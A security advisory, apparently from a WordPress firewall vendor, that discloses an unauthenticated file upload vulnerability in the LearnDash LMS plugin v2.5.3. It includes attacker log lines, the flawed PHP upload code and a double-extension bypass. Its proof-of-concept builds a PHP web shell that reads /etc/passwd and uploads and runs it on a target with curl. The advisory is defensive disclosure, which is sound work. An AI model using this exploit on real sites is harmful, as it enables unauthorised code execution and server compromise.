Arbitrary file upload vulnerability in WordPress LearnDash LMS plugin.

While cleaning up several hacked WordPress blogs, we identified a critical zero-day vulnerability in the LearnDash LMS plugin v2.5.3 (https://www.learndash.com/) that allows an unauthenticated user to upload files.
The HTTP server log showed that an attacker sent a POST request to the index page in order to upload a “assig.php.” script into the “/wp-content/uploads/assignments/” folder and then used it to upload another shell script into the WordPress admin folder:

87.244.138.44 - - [27/Dec/2017:20:29:33 +0100] "POST / HTTP/1.0" 200 47095
87.244.138.44 - - [27/Dec/2017:20:29:34 +0100] "GET /wp-content/uploads/assignments/assig.php. HTTP/1.1" 200 266
87.244.138.44 - - [27/Dec/2017:20:29:36 +0100] "GET /wp-admin/ms-site.php HTTP/1.1" 200 4110

Although the “assig.php.” filename ends with a . dot, it is still executed by default by the PHP interpreter on servers running Apache with PHP CGI/FastCGI SAPI, a widely-used configuration.

The plugin offers the possibility to create courses and to assign lessons to them. Each lesson can allow uploads, and it is possible to restrict them by file extensions. Uploads are handled by the learndash_assignment_process_init() function located in the “wp-content/plugins/sfwd-lms/includes/ld-assignment-uploads.php” script:

function learndash_assignment_process_init() {

   if ( isset( $_POST['uploadfile'] ) && isset( $_POST['post'] ) ) {
      $post_id = $_POST['post'];
      $file = $_FILES['uploadfiles'];

      if (( ! empty( $file['name'][0] ) ) && ( learndash_check_upload( $file, $post_id ) ) )  {
         $file_desc = learndash_fileupload_process( $file, $post_id );
         $file_name = $file_desc['filename'];
         $file_link = $file_desc['filelink'];
         $params = array(
            'filelink' => $file_link,
            'filename' => $file_name,
         );
      }
   }

Neither this function nor the learndash_check_upload() and learndash_fileupload_process() functions it calls check if the user is authenticated or allowed to upload files, or even if the post ID, course and lesson exist before accepting the file.

The learndash_fileupload_process() contains the following code:

$filetype = wp_check_filetype( basename( $filename ), null );
$filetitle = preg_replace( '/\.[^.]+$/', '', basename( $filename ) );
$filename = $filetitle . '.' . $filetype['ext'];

It calls the WordPress wp_check_filetype() function, removes the filename extension and appends the one returned by this function. Because wp_check_filetype() will return an empty value for PHP scripts, the file extension will be removed: script.php will become script.. But that can be bypassed by appending a double extension, e.g., script.php.php which will be turned into script.php..

Proof of Concept

To exploit the vulnerability, it is only required that the plugin be enabled, even if no courses or lessons were created (bogus values can be assigned to each variable):

$ echo '<?php echo exec("ls -la /etc/passwd");' > shell.php.php
$ curl -F "post=foobar" -F "course_id=foobar" -F "uploadfile=foobar" -F "uploadfiles[]=@./shell.php.php" http://victim.tld/
$ curl 'http://victim.tld/wp-content/uploads/assignments/shell.php.'
-rw-r--r-- 1 root root 2385 Apr 14  2017 /etc/passwd

 

Recommendations

As this vulnerability is currently being exploited, consider updating your LearnDash plugin to version 2.5.4, which was released on Jan. 4th, as soon as possible.
Alternatively, if your are using NinjaFirewall (WP/WP+ Edition), our WordPress WAF, you are protected.

Stay informed about the latest vulnerabilities in WordPress plugins and themes: @nintechnet